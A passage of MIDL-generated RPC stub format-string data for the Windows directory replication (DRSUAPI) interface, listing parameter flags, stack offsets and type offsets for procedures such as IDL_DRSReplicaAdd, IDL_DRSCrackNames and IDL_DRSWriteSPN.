*/\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgOut */\n\n/* 216 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 218 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 220 */\tNdrFcShort( 0x382 ),\t/* Type Offset=898 */\n\n\t/* Return value */\n\n/* 222 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 224 */\tNdrFcShort( 0x28 ),\t/* x86 Stack size/offset = 40 */\n/* 226 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DRSUpdateRefs */\n\n/* 228 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 230 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 234 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 236 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 238 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 240 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 242 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 244 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 246 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 248 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 250 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 252 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 254 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 256 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 258 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hDrs */\n\n/* 260 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 262 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 264 */\tNdrFcShort( 0x4e ),\t/* Type Offset=78 */\n\n\t/* Parameter dwVersion */\n\n/* 266 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 268 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 270 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgUpdRefs */\n\n/* 272 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 274 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 276 */\tNdrFcShort( 0x6ac ),\t/* Type Offset=1708 */\n\n\t/* Return value */\n\n/* 278 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 280 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 282 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DRSReplicaAdd */\n\n/* 284 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 286 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 290 */\tNdrFcShort( 0x5 ),\t/* 5 */\n/* 292 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 294 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 296 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 298 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 300 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 302 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 304 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 306 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 308 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 310 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 312 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 314 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hDrs */\n\n/* 316 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 318 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 320 */\tNdrFcShort( 0x4e ),\t/* Type Offset=78 */\n\n\t/* Parameter dwVersion */\n\n/* 322 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 324 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 326 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgAdd */\n\n/* 328 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 330 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 332 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Return value */\n\n/* 334 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 336 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 338 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DRSReplicaDel */\n\n/* 340 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 342 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 346 */\tNdrFcShort( 0x6 ),\t/* 6 */\n/* 348 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 350 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 352 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 354 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 356 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 358 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 360 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 362 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 364 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 366 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 368 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 370 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hDrs */\n\n/* 372 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 374 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 376 */\tNdrFcShort( 0x4e ),\t/* Type Offset=78 */\n\n\t/* Parameter dwVersion */\n\n/* 378 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 380 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 382 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgDel */\n\n/* 384 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 386 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 388 */\tNdrFcShort( 0x7b8 ),\t/* Type Offset=1976 */\n\n\t/* Return value */\n\n/* 390 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 392 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 394 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DRSReplicaModify */\n\n/* 396 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 398 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 402 */\tNdrFcShort( 0x7 ),\t/* 7 */\n/* 404 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 406 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 408 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 410 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 412 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 414 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 416 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 418 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 420 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 422 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 424 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 426 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hDrs */\n\n/* 428 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 430 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 432 */\tNdrFcShort( 0x4e ),\t/* Type Offset=78 */\n\n\t/* Parameter dwVersion */\n\n/* 434 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 436 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 438 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgMod */\n\n/* 440 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 442 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 444 */\tNdrFcShort( 0x7f2 ),\t/* Type Offset=2034 */\n\n\t/* Return value */\n\n/* 446 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 448 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 450 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DRSVerifyNames */\n\n/* 452 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 454 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 458 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 460 */\tNdrFcShort( 0x30 ),\t/* x86 Stack size/offset = 48 */\n/* 462 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 464 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 466 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 468 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 470 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 472 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 474 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 476 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 478 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 480 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 482 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hDrs */\n\n/* 484 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 486 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 488 */\tNdrFcShort( 0x4e ),\t/* Type Offset=78 */\n\n\t/* Parameter dwInVersion */\n\n/* 490 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 492 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 494 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgIn */\n\n/* 496 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 498 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 500 */\tNdrFcShort( 0x834 ),\t/* Type Offset=2100 */\n\n\t/* Parameter pdwOutVersion */\n\n/* 502 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 504 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 506 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgOut */\n\n/* 508 */\tNdrFcShort( 0x8113 ),\t/* Flags:  must size, must free, out, simple ref, srv alloc size=32 */\n/* 510 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 512 */\tNdrFcShort( 0x89a ),\t/* Type Offset=2202 */\n\n\t/* Return value */\n\n/* 514 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 516 */\tNdrFcShort( 0x28 ),\t/* x86 Stack size/offset = 40 */\n/* 518 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DRSGetMemberships */\n\n/* 520 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 522 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 526 */\tNdrFcShort( 0x9 ),\t/* 9 */\n/* 528 */\tNdrFcShort( 0x30 ),\t/* x86 Stack size/offset = 48 */\n/* 530 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 532 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 534 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 536 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 538 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 540 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 542 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 544 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 546 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 548 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 550 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hDrs */\n\n/* 552 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 554 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 556 */\tNdrFcShort( 0x4e ),\t/* Type Offset=78 */\n\n\t/* Parameter dwInVersion */\n\n/* 558 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 560 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 562 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgIn */\n\n/* 564 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 566 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 568 */\tNdrFcShort( 0x8fc ),\t/* Type Offset=2300 */\n\n\t/* Parameter pdwOutVersion */\n\n/* 570 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 572 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 574 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgOut */\n\n/* 576 */\tNdrFcShort( 0xa113 ),\t/* Flags:  must size, must free, out, simple ref, srv alloc size=40 */\n/* 578 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 580 */\tNdrFcShort( 0x96e ),\t/* Type Offset=2414 */\n\n\t/* Return value */\n\n/* 582 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 584 */\tNdrFcShort( 0x28 ),\t/* x86 Stack size/offset = 40 */\n/* 586 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DRSInterDomainMove */\n\n/* 588 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 590 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 594 */\tNdrFcShort( 0xa ),\t/* 10 */\n/* 596 */\tNdrFcShort( 0x30 ),\t/* x86 Stack size/offset = 48 */\n/* 598 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 600 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 602 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 604 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 606 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 608 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 610 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 612 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 614 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 616 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 618 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hDrs */\n\n/* 620 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 622 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 624 */\tNdrFcShort( 0x4e ),\t/* Type Offset=78 */\n\n\t/* Parameter dwInVersion */\n\n/* 626 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 628 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 630 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgIn */\n\n/* 632 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 634 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 636 */\tNdrFcShort( 0xa18 ),\t/* Type Offset=2584 */\n\n\t/* Parameter pdwOutVersion */\n\n/* 638 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 640 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 642 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgOut */\n\n/* 644 */\tNdrFcShort( 0x8113 ),\t/* Flags:  must size, must free, out, simple ref, srv alloc size=32 */\n/* 646 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 648 */\tNdrFcShort( 0xad2 ),\t/* Type Offset=2770 */\n\n\t/* Return value */\n\n/* 650 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 652 */\tNdrFcShort( 0x28 ),\t/* x86 Stack size/offset = 40 */\n/* 654 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DRSGetNT4ChangeLog */\n\n/* 656 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 658 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 662 */\tNdrFcShort( 0xb ),\t/* 11 */\n/* 664 */\tNdrFcShort( 0x30 ),\t/* x86 Stack size/offset = 48 */\n/* 666 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 668 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 670 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 672 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 674 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 676 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 678 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 680 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 682 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 684 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 686 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hDrs */\n\n/* 688 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 690 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 692 */\tNdrFcShort( 0x4e ),\t/* Type Offset=78 */\n\n\t/* Parameter dwInVersion */\n\n/* 694 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 696 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 698 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgIn */\n\n/* 700 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 702 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 704 */\tNdrFcShort( 0xb28 ),\t/* Type Offset=2856 */\n\n\t/* Parameter pdwOutVersion */\n\n/* 706 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 708 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 710 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgOut */\n\n/* 712 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 714 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 716 */\tNdrFcShort( 0xb74 ),\t/* Type Offset=2932 */\n\n\t/* Return value */\n\n/* 718 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 720 */\tNdrFcShort( 0x28 ),\t/* x86 Stack size/offset = 40 */\n/* 722 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DRSCrackNames */\n\n/* 724 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 726 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 730 */\tNdrFcShort( 0xc ),\t/* 12 */\n/* 732 */\tNdrFcShort( 0x30 ),\t/* x86 Stack size/offset = 48 */\n/* 734 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 736 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 738 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 740 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 742 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 744 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 746 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 748 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 750 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 752 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 754 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hDrs */\n\n/* 756 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 758 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 760 */\tNdrFcShort( 0x4e ),\t/* Type Offset=78 */\n\n\t/* Parameter dwInVersion */\n\n/* 762 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 764 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 766 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgIn */\n\n/* 768 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 770 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 772 */\tNdrFcShort( 0xbfe ),\t/* Type Offset=3070 */\n\n\t/* Parameter pdwOutVersion */\n\n/* 774 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 776 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 778 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgOut */\n\n/* 780 */\tNdrFcShort( 0x2113 ),\t/* Flags:  must size, must free, out, simple ref, srv alloc size=8 */\n/* 782 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 784 */\tNdrFcShort( 0xc60 ),\t/* Type Offset=3168 */\n\n\t/* Return value */\n\n/* 786 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 788 */\tNdrFcShort( 0x28 ),\t/* x86 Stack size/offset = 40 */\n/* 790 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure IDL_DRSWriteSPN */\n\n/* 792 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 794 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 798 */\tNdrFcShort( 0xd ),\t/* 13 */\n/* 800 */\tNdrFcShort( 0x30 ),\t/* x86 Stack size/offset = 48 */\n/* 802 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 804 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 806 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 808 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 810 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 812 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 814 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 816 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 818 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 820 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 822 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hDrs */\n\n/* 824 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 826 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 828 */\tNdrFcShort( 0x4e ),\t/* Type Offset=78 */\n\n\t/* Parameter dwInVersion */\n\n/* 830 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 832 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 834 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgIn */\n\n/* 836 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 838 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 840 */\tNdrFcShort( 0xce2 ),\t/* Type Offset=3298 */\n\n\t/* Parameter pdwOutVersion */\n\n/* 842 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 844 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 846 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pmsgOut */\n\n/* 848 */\tNdrFcShort( 0x2113 ),\t/* Flags:  must size, must free, out, simple ref, srv alloc size=8 */\n/* 850 */\tNdrFcShort( 0x20 ),\t/* x86 Stack size/offset = 32 */\n/* 852 */\tNdrFcShort( 0xd48 ),\t/* Type Offset=3400 */\n\n\t/* Return value */\n\n/* 854 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 856 */\tNdrFcShort( 0x28 